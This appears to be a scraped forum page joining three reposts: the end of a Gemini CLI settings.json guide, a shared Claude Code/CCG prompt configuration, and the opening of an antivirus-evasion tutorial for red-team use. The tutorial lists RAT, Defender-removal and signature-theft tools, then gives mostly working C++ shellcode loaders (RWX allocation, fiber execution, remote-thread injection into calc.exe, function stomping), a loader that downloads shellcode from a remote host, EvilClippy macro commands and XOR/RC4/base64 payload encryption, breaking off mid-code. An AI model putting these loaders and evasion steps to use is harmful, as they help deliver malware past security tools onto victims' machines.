上面配置后正常是可以用的,如果无法使用可以先确认一下 api 的地址和密钥是否正确,是否支持 gemini 的模型。

4. 参考文档:

官方配置文档地址

官方提供的一个完整 settings.json 栗子(注意仅适用于 v0.3.0 及之后的版本且参数不是全部的):

{
  "general": {
    "vimMode": true,
    "preferredEditor": "code",
    "sessionRetention": {
      "enabled": true,
      "maxAge": "30d",
      "maxCount": 100
    }
  },
  "ui": {
    "theme": "GitHub",
    "hideBanner": true,
    "hideTips": false,
    "customWittyPhrases": [
      "You forget a thousand things every day. Make sure this is one of ’em",
      "Connecting to AGI"
    ]
  },
  "tools": {
    "sandbox": "docker",
    "discoveryCommand": "bin/get_tools",
    "callCommand": "bin/call_tool",
    "exclude": ["write_file"]
  },
  "mcpServers": {
    "mainServer": {
      "command": "bin/mcp_server.py"
    },
    "anotherServer": {
      "command": "node",
      "args": ["mcp_server.js", "--verbose"]
    }
  },
  "telemetry": {
    "enabled": true,
    "target": "local",
    "otlpEndpoint": "http://localhost:4317",
    "logPrompts": true
  },
  "privacy": {
    "usageStatisticsEnabled": true
  },
  "model": {
    "name": "gemini-1.5-pro-latest",
    "maxSessionTurns": 10,
    "summarizeToolOutput": {
      "run_shell_command": {
        "tokenBudget": 100
      }
    }
  },
  "context": {
    "fileName": ["CONTEXT.md", "GEMINI.md"],
    "includeDirectories": ["path/to/dir1", "~/path/to/dir2", "../path/to/dir3"],
    "loadFromIncludeDirectories": true,
    "fileFiltering": {
      "respectGitIgnore": false
    }
  },
  "advanced": {
    "excludedEnvVars": ["DEBUG", "DEBUG_MODE", "NODE_ENV"]
  }
}

📌 转载信息
原作者:
qozier
转载时间:
2026/1/18 08:51:25

前言

继上次分享了自己的个人自用的全局之后,后续安装了风佬的 CCG,看到风佬有推荐安装 CCG 的使用提示词,于是结合字节原先的提示词修改了一下,也请各位佬帮我看看评价下。

参考链接

风佬帖子: 【开源】CCG v1.7.39 : Claude Code 编排三 CLI 协作 | Codex + Gemini + Claude - 开发调优 - LINUX DO
之前自用的全局提示词: 个人自用的全局 CLAUDE.md 分享,以及关于 claude code+codex 的使用求解 - 开发调优 - LINUX DO

增强配置提示词 (点击右上角复制)

# Claude Code 增强配置 (CCG Enhanced) ## 一、核心原则 ### 1.1 调研优先(强制)

修改代码前必须:

1. **检索相关代码** - 使用 `mcp__ace-tool__search_context` 或 Grep/Glob

2. **识别复用机会** - 查找已有相似功能,优先复用而非重写

3. **追踪调用链** - 使用 Grep 分析影响范围

### 1.2 修改前三问 1. 这是真问题还是臆想?(拒绝过度设计)

2. 有现成代码可复用吗?(优先复用)

3. 会破坏什么调用关系?(保护依赖链)

### 1.3 红线原则 - 禁止 copy-paste 重复代码

- 禁止破坏现有功能

- 禁止对错误方案妥协

- 禁止盲目执行不加思考

- 禁止基于假设回答(必须检索验证)

- 关键路径必须有错误处理

### 1.4 知识获取(强制)

遇到不熟悉的知识,必须联网搜索,严禁猜测:

- 通用搜索:`WebSearch` / `mcp__exa__web_search_exa` - 库文档:`mcp___upstash_context7-mcp__resolve-library-id``query-docs` - 开源项目:`mcp__mcp-deepwiki__deepwiki_fetch`

---

## 二、工作流增强(CCG) ### 2.1 上下文检索(生成代码前执行) **工具**`mcp__ace-tool__search_context` **检索策略**- 使用自然语言构建语义查询(Where/What/How)

- 完整性检查:获取相关类、函数、变量的完整定义与签名

- 若上下文不足,递归检索直至信息完整

### 2.2 Prompt 增强(复杂任务推荐) **工具**`mcp__ace-tool__enhance_prompt` **触发**:用户使用 `-enhance` 标记,或任务模糊需要结构化

### 2.3 需求对齐

若检索后需求仍有模糊空间,输出引导性问题列表,直至需求边界清晰(无遗漏、无冗余)。

### 2.4 工作流原则 1. **先检索,后生成** - 生成代码前必须先调用 search_context

2. **增强需求** - 复杂任务先明确需求边界

3. **智能路由** - 根据任务类型选择 Codex/Gemini/Claude

4. **交叉验证** - 关键决策可使用双模型并行分析

5. **代码主权** - Codex/Gemini 仅负责分析、规划、审查;所有代码实现由 Claude 完成

---

## 三、多模型协作

### 3.1 后端任务 → Codex

```powershell
"[任务描述]" | codeagent-wrapper --backend codex - [工作目录]
```

适用:后端 logic、算法实现、数据库操作、API 开发、性能优化、调试分析

### 3.2 前端任务 → Gemini

```powershell
"[任务描述]" | codeagent-wrapper --backend gemini - [工作目录]
```

适用:UI/UX 组件、CSS 样式、响应式布局、前端交互逻辑

### 3.3 会话复用

每次调用返回 `SESSION_
ID: xxx`,后续用 `resume xxx` 复用上下文: ```powershell
"[后续任务]" | codeagent-wrapper --backend <codex|gemini> resume <SESSION_ID> - [工作目录]
```
### 3.4 并行调用 使用 `run_in_background: true` 启动后台任务,用 `TaskOutput` 等待结果。 必须等所有模型返回后才能进入下一阶段。 ```python
# 示例:并行启动 Codex 和 Gemini
Bash(command='"任务描述" | codeagent-wrapper --backend codex ...', run_in_background=True)
Bash(command='"任务描述" | codeagent-wrapper --backend gemini ...', run_in_background=True)

# 等待结果
TaskOutput(task_id="<TASK_ID>", block=True, timeout=600000)
```
--- ## 四、任务分级 | 级别 | 判断标准 | 处理方式 | |------|----------|----------| | 简单 | 单文件、明确需求、少于 20 行 | 直接执行 | | 中等 | 2-5 个文件、需要调研 | 简要说明方案 → 执行 | | 复杂 | 架构变更、多模块、不确定性高 | 完整规划流程 | ### 4.1 复杂任务流程 1. **RESEARCH** - 调研代码,不提建议 2. **PLAN** - 列出方案,等待用户确认 3. **EXECUTE** - 严格按计划执行 4. **REVIEW** - 完成后自检 触发:用户说"进入X模式"或任务符合复杂标准时自动启用 ### 4.2 复杂问题深度思考 触发场景:多步骤推理、架构设计、疑难调试、方案对比 强制工具:`mcp__sequential-thinking__sequentialthinking` --- ## 五、工具速查 | 场景 | 推荐工具 | |------|----------| | 代码语义检索 | `mcp__ace-tool__search_context` | | 精确字符串/正则 | `Grep` | | 文件名匹配 | `Glob` | | 代码库探索 | `Task` + `subagent_type=Explore` | | 技术方案规划 | `EnterPlanMode``Task` + `subagent_type=Plan` | | 库官方文档 | `mcp___upstash_context7-mcp__query-docs` | | 开源项目文档 | `mcp__mcp-deepwiki__deepwiki_fetch` | | 联网搜索 | `WebSearch` / `mcp__exa__web_search_exa` | | 深度推理 | `mcp__sequential-thinking__sequentialthinking` | | PDF 读取 | `mcp__pdf-reader__read_pdf` | | 跨会话记忆 | `mcp__server-memory__*`(仅用户要求时) | | 快捷操作 | Skill(`/commit``/debug``/review` 等) | **选择原则**:语义理解用 `ace-tool`,精确匹配用 `Grep` --- ## 六、Git 规范 - 不主动提交/push,除非用户明确要求 - Commit 格式:`<type>(<scope>): <description>` - 不添加 Claude 署名标记 - 提交前:`git diff` 确认改动范围 - 禁止 `--force` 推送到 main/master --- ## 七、安全检查 - 禁止硬编码密钥/密码/token - 不提交 .env / credentials 等敏感文件 - 用户输入在系统边界必须验证 --- ## 八、代码风格 - **KISS** - 能简单就不复杂 - **DRY** - 零容忍重复,必须复用 - **保护调用链** - 修改函数签名时同步更新所有调用点 完成后清理:临时文件、废弃代码、未使用导入、调试日志 --- ## 九、交互规范 ### 何时询问用户 - 存在多个合理方案时 - 需求不明确或有歧义时 - 改动范围超出预期时 - 发现潜在风险时 ### 何时直接执行 - 需求明确且方案唯一 - 小范围修改(少于 20 行) - 用户已确认过类似操作 ### 敢于说不 发现问题直接指出,不妥协于错误方案 --- ## 十、环境特定(Windows / PowerShell) - 不支持 `&&`,使用 `;` 分隔命令 - 中文路径用引号包裹 - 管道传参:`"内容" | command` 替代 heredoc --- ## 输出设置 - 中文响应 - 禁用表情符号 - 禁止截断输出

📌 转载信息
原作者:
YuChenghhh
转载时间:
2026/1/18 08:51:00

第一次发帖,大部分内容引用了许多大佬们的文章连接和代码,20% 是引用,80% 均为个人理解

希望红队的 XDM 早日在攻防与 APT 中取得精彩成绩

本文章分为很多篇章,由于太长我将抽时间一篇一篇的发布

一、资源

搞免杀得多学习一下新颖的技术和了解一些常用的社区平台

1、沙箱

virustotal:https://www.virustotal.com

某 60 沙盒:https://ata.360.net/

微步沙盒:https://s.threatbook.com/

奇安信沙盒:https://sandbox.ti.qianxin.com/sandbox/page

腾讯哈勃:https://habo.qq.com/

FreeBuf:https://sandbox.vulbox.com/detect?theme=vulbox

yara:https://github.com/VirusTotal/yara/releases

逆向环境虚拟机:

https://github.com/indetectables-net/toolkit

做免杀推荐断网开发,移除 defender

https://github.com/ionuttbara/windows-defender-remover

如果要上传沙箱建议使用本地沙箱,具体就不举例了


2、工具资源

CS 资源:https://github.com/zer0yu/Awesome-CobaltStrike

免杀手法:http://web.archive.org/web/20240531035548/https://cmn.cool/docs/Maldevacademy/

免杀手法:https://github.com/g1oves2ali/anti-anti-virus

免杀手法:https://github.com/xf555er/AntiAntiVirusNotes

巨龙拉登:https://github.com/k8gege/Ladon

欧拉:https://github.com/d3ckx1/OLa

upx 加壳:https://github.com/upx/upx/releases

反弹 shell 免杀:https://github.com/emrekybs/nim-shell

py 生成 php 免杀 webshell:https://github.com/xzajyjs/Anti-Virus-PHP

DcRat 远控:https://github.com/qwqdanchun/DcRat

DcRat 汉化版 (类似于 CS 的远控)https://github.com/sysrom/DcRatCHS

数字签名工具 (GUI)https://github.com/INotGreen/SharpThief

数字签名工具 (可签 dll):https://github.com/langsasec/Sign-Sacker

PE 资源编辑工具 (restorator2018):https://www.52pojie.cn/thread-752217-1-1.html

二、C++ 免杀基础

建议采用 64 位 PE 做免杀,因为 64 位 PE 具备很多 32 位不具备的 WINAPI 函数和系统调用,这样 3 环的规避性可以大大提升,从而转移到内核对抗

同时 32 位的空代码编译出来放进 virustotal 存在的误报会更多一些,为什么 x86 的误报比 x64 高?

这是因为 x86 使用了 wow64,大多数函数调用和默认编译器的静态链接会更多一些,某些字符串和导入函数更多,即使没有恶意代码也会增大文件的熵值

关于虚拟机测 antivirus 看这里,虚拟机可以克隆链,然后记得关上传样本,不然刚入门你会被标记到吐血

https://cloud.tencent.com/developer/article/2 某 60993

注意:目前我已经没有使用任何公开的 C2 了,基本都是从 0 重构或者采用优秀的 C2 架构全模块重构,但是后面的内容是一定要看的,无论是武器化开发还是简单的绕绕 antivirus 产品,后面的内容是必经之路

1、程序的纯净化

1.VS 编译配置

编译器配置,这一步切记不可少,否则 64 位空代码直接飙到 6/71,因为 vs 默认编译是会留下特征的,想要做好免杀必须得清除编译的特征,最重要的就是调试信息得关闭!!!

参考:https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw

md 模式的程序是读的系统的 msvcrt.dll,生成的文件体积会小很多,因此报毒概率会小很多,但不是所有的 windows 都有 msvcrt.dll,因此如果要兼容效果,就必须要牺牲一定的报毒率。

调试信息会在 EXE 中带上你的编译路径,建议关闭

2.CRT 库删除

经过上面所说的配置以后,你会发现编译的普通 hello world 的 exe 的导入表还是存在无关的函数

CRT(即 C 运行时库)是 C 编程语言的标准接口。CRT 包含函数和宏的集合。为标准 C 和 C++ 程序提供基本功能。它包括内存管理函数(如 malloc、memset 和 free)、字符串操作函数(如 strcpy 和 strlen)和 I/O 函数(如 printf、wprintf 和 scanf)。

CRT DLL 文件名为 vcruntimeXXX.dll,其中 XXX 是正在使用的 CRT 库的版本号。还有 api-ms-win-crt-stdio-l1-1-0.dll、api-ms-win-crt-runtime-l1-1-0.dll 和 api-ms-win-crt 等 DLL 文件 - locale-l1-1-0.dll,也链接到 CRT 库。这些 DLL 中的每一个都执行特定的功能并导出多个函数。这些 DLL 文件在编译时由编译器链接,因此可以在生成的程序的导入表 (IAT) 中找到。

Hello World” 程序的 IAT 应该仅导入有关 printf 函数的信息,但它导入了以下函数

我们将多线程 MD 改为 MT

改完后 CRT 库消失了,但是导出函数更加多了


2、基础上线

1.VirtualAlloc 申请内存

内存有很多种属性,下面是利用 VirtualAlloc 申请 RWX 内存空间,大小为 shellcode 大小

memcpy 是将 shellcode 存放进入该内存空间,最后以指针的方式标记为函数去执行内存中的 shellcode

这里需要大家去学习基本的 PE 文件结构、RVA、VA 等知识才能清晰认识到什么是内存

#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 unsigned char shellcode[] = "\x48....";

void main(){
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

隐藏窗口

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 

对于 stagless (完整型负荷) 如果 shellcode 太长,vs 编译器截断报错可以写到头文件中,再把 char 类型转为 string 类型

#include <iostream> #include <string> int main(){
    unsigned char hexData[434706] = { /* 你的数据 */ };
    std::string strData(reinterpret_cast<const char*>(hexData), sizeof(hexData));
    return 0;
}

2.HeapAlloc 申请内存

HeapAlloc 往往优势在于开辟的内存都是不可执行的,在堆中开辟,所以可以绕过许多内存监控

LPVOID Memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, shellcode.size() + 1);
memcpy(Memory, shellcode, sizeof(shellcode));

DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)Memory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);

((void(*)())Memory)();

3. 纤程

#include <windows.h> void like(){
    
    unsigned char data[] = "\x48...";

    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, data, sizeof(data));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main(){
    like();
}

4. 远程线程注入 (CreateRemoteThread)

https://www.freebuf.com/articles/system/228233.html

原理就是打开无害的 calc.exe 也就是计算器,对计算器 (calc.exe) 进行 shellcode 注入

提示“stdafx.h”: No such file or directory?其实stdafx.h就是studio.h和tchar.h
#include <stdio.h> #include <tchar.h> 
#include <Windows.h> #include <stdio.h> #include <tchar.h> #include "iostream" //隐藏运行程序时的cmd窗口 #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;

//使用CS或msf生成的C语言格式的上线shellcode unsigned char shellcode[] = "\x48...";

BOOL injection()
{
    wchar_t Cappname[MAX_PATH] = { 0 };
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID lpMalwareBaseAddr;
    LPVOID lpnewVictimBaseAddr;
    HANDLE hThread;
    DWORD dwExitCode;
    BOOL bRet = FALSE;

    //把基地址设置为自己shellcode数组的起始地址
    lpMalwareBaseAddr = shellcode;

    //获取系统路径,拼接字符串找到calc.exe的路径
    GetSystemDirectory(Cappname, MAX_PATH);
    _tcscat(Cappname, L"\\calc.exe");

    //打印注入提示 // printf("被注入的程序名:%S\r\n", Cappname);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //创建calc.exe进程 if (CreateProcess(Cappname, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
        , NULL, NULL, &si, &pi) == 0)
    {
        return bRet;
    }
    //在
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
        , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (lpnewVictimBaseAddr == NULL)
    {
        return bRet;
    }
    //远程线程注入过程
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,
        (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    TerminateProcess(pi.hProcess, 0);
    return bRet;
}

void help(char* proc)
{
   // printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}

int main(int argc, char* argv[])
{
    help(argv[0]);
    injection();
}

5. 云端读取代码

shellcode 可以存放进入云端,并不局限于本地

#include <iostream> #include <string> #include <stdexcept> #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") std::string getWebPageContent(const std::string& url){
    HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

    HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);

    std::string result;
    constexpr DWORD bufferSize = 4096;
    char buffer[bufferSize];
    DWORD bytesRead = 0;
    while (InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) {
        result.append(buffer, bytesRead);
    }

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return result;
}

int main(){
    std::string url = "http://xxx.com";
    std::string content = getWebPageContent(url);
    std::cout << "Web page content:\n" << content << std::endl;
    return 0;
}

6. 宏上线

宏 VB 免杀:https://github.com/outflanknl/EvilClippy

VS 打开终端输入下面命令生成 EXE 即可

csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs

将 CS 生成的 VBA 与不免杀的 hong.doc 混合

evilclippy.exe -s sb.vba hong.doc

切记生成使用 1997 年版本的 doc,否则报错

使用 -s 参数通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的 vba 脚本,以下

Sub Hello()

Dim X

X=MsgBox("hello world!")

7. 函数篡改上线

本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用 VirtualAlloc 等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其 shellcode 内存区域执行。

#include <stdio.h> #include <Windows.h> unsigned char shellcode[] = {    0xFC, , ....};
int main(){    
    PVOID pAddress = NULL;
    DWORD dwOldProtection = NULL;
    HANDLE hthread = NULL;
    HMODULE hm = GetModuleHandleA("kernel32.dll");
    
    pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pAddress, shellcode, sizeof(shellcode));
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
    hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    
    if (hthread != NULL){
        WaitForSingleObject(hthread, INFINITE);
        printf("1231231321");}

3、加密上线

1). 异或

异或既简单也不敏感 (前提是你的异或 key 要长)

#include <iostream> #include <windows.h> using namespace std;

void main(){
    unsigned char shellcode[] = "";
    int len_shellcode = 927;
    for (int i = 0; i < len_shellcode; i++)
    {
        shellcode[i] ^= ;
    }
    for (int i = 0; i < len_shellcode; i++)
    {
        cout << R"(\x)" << hex << (int)(unsigned)shellcode[i];
    }

}
#include <iostream> #include <windows.h> using namespace std;

void main(){
    unsigned char shellcode[] = "";
    for (int i = 0; i < sizeof(shellcode); i++)
    {
        shellcode[i] ^= ;
    }
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

也可以等 shellcode 加载进内存后再做异或更为安全

VOID Xor(PBYTE pbBuffer, SIZE_T dwSize){
	const char szKey[] = {, , , , , , , , , , , , , , , };
	for (int i = 0; i < dwSize; i++) {
		*(pbBuffer + i) ^= szKey[i % sizeof szKey];
	}
}

...
memcpy(lpMem, shellcode.data(), shellcode.size());
Xor((PBYTE)lpMem, dwSize);
    ..............

2).RC 加密

https://blog.csdn.net/m0_51345235/article/details/132793196

#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };

int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
	int i = 0, j = 0;

	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}

	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;
}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main(){
	char key[] = "hhh";
	unsigned char buf[] =
		"encrypt_shellcode";

	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
		printf("\\x%02x", buf[i]);
	}
}

https://blog.csdn.net/m0_51345235/article/details/132793196

#include <stdio.h> #include <windows.h> #include <iostream> using namespace std;
unsigned char T[256] = { 0 };
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len){
	int i = 0, j = 0;

	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}

	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;
}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len){
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main(){
	char key[] = "hhh";
	unsigned char buf[] =
		"\x3802";

	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
	}
	LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(add, buf, sizeof(buf));
	HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
	WaitForSingleObject(handle, INFINITE);
	return 0;
}

3).BASE64 + 异或

import base64
with open("payload.bin","rb") as f:
    all=f.read()
    array=[]
    for i in all:
        array.append(i^8)
    #print(bytearray(array)) print(base64.b64encode(bytearray(array)))
#include "base64.h" #include <algorithm> #include <stdexcept> static const char* base64_chars[2] = {
			 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/",

			 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" };

static unsigned int pos_of_char(const unsigned char chr){

	if (chr >= 'A' && chr <= 'Z') return chr - 'A';
	else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
	else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
	else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else throw std::runtime_error("Input is not valid base64-encoded data.");
}

static std::string insert_linebreaks(std::string str, size_t distance){
	if (!str.length()) {
		return "";
	}

	size_t pos = distance;

	while (pos < str.size()) {
		str.insert(pos, "\n");
		pos += distance + 1;
	}

	return str;
}

template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s){
	return insert_linebreaks(base64_encode(s, false), line_length);
}

template <typename String>
static std::string encode_pem(String s){
	return encode_with_line_breaks<String, 64>(s);
}

template <typename String>
static std::string encode_mime(String s){
	return encode_with_line_breaks<String, 76>(s);
}

template <typename String>
static std::string encode(String s, bool url){
	return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}

std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url){

	size_t len_encoded = (in_len + 2) / 3 * 4;

	unsigned char trailing_char = url ? '.' : '=';
	const char* base64_chars_ = base64_chars[url];

	std::string ret;
	ret.reserve(len_encoded);

	unsigned int pos = 0;

	while (pos < in_len) {
		ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);

		if (pos + 1 < in_len) {
			ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & ) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);

			if (pos + 2 < in_len) {
				ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & ) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
				ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & ]);
			}
			else {
				ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & ) << 2]);
				ret.push_back(trailing_char);
			}
		}
		else {

			ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & ) << 4]);
			ret.push_back(trailing_char);
			ret.push_back(trailing_char);
		}

		pos += 3;
	}


	return ret;
}

template <typename String>
static std::string decode(String encoded_string, bool remove_linebreaks){

	if (encoded_string.empty()) return std::string();

	if (remove_linebreaks) {

		std::string copy(encoded_string);

		copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());

		return base64_decode(copy, false);
	}

	size_t length_of_string = encoded_string.length();
	size_t pos = 0;

	size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
	std::string ret;
	ret.reserve(approx_length_of_decoded_string);

	while (pos < length_of_string) {
		size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]);
		ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & ) >> 4)));

		if ((pos + 2 < length_of_string) &&
			encoded_string[pos + 2] != '=' &&
			encoded_string[pos + 2] != '.'
			)
		{
			unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]);
			ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & ) << 4) + ((pos_of_char_2 & ) >> 2)));

			if ((pos + 3 < length_of_string) &&
				encoded_string[pos + 3] != '=' &&
				encoded_string[pos + 3] != '.'
				)
			{
				ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & ) << 6) + pos_of_char(encoded_string[pos + 3])));
			}
		}

		pos += 4;
	}

	return ret;
}

std::string base64_decode(std::string const& s, bool remove_linebreaks){
	return decode(s, remove_linebreaks);
}

std::string base64_encode(std::string const& s, bool url){
	return encode(s, url);
}

std::string base64_encode_pem(std::string const& s){
	return encode_pem(s);
}

std::string base64_encode_mime(std::string const& s){
	return encode_mime(s);
}

#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url){
	return encode(s, url);
}

std::string base64_encode_pem(std::string_view s){
	return encode_pem(s);
}

std::string base64_encode_mime(std::string_view s){
	return encode_mime(s);
}

std::string base64_decode(std::string_view s, bool remove_linebreaks){
	return decode(s, remove_linebreaks);
}

#endif // __cplusplus >= 201703L 
#pragma once const int XOR_KEY{ 8 };
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include <string> #if __cplusplus >= 201703L #include <string_view> #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);

std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);

#if __cplusplus >= 201703L std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);

std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ 
#include <windows.h> #include <stdio.h> #include "base64.h" #include <string> #include <random> #include <vector> using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

string rest2_reference = "xxx";


void runShellcode(LPVOID param){
    auto func = ((void(*)())param);
    func();
}

void main(){
    string rest2_decoded = base64_decode(rest2_reference);
    const char* S = rest2_decoded.c_str();
    vector<uint8_t> shellcode;
    for (int j = 0; j < rest2_decoded.length(); j++) {
        shellcode.push_back(S[j] ^ XOR_KEY);
    }
    auto alloc = ::VirtualAlloc(
        NULL,
        shellcode.size() + 1,
        MEM_COMMIT,
        PAGE_READWRITE
    );
    memcpy(alloc, shellcode.data(), shellcode.size());
    DWORD old;
    VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);

    shellcode.clear();//清空vector<uint8_t>shellcode HandlePtr thread(NULL, &::CloseHandle);
    thread.reset(::CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)runShellcode,
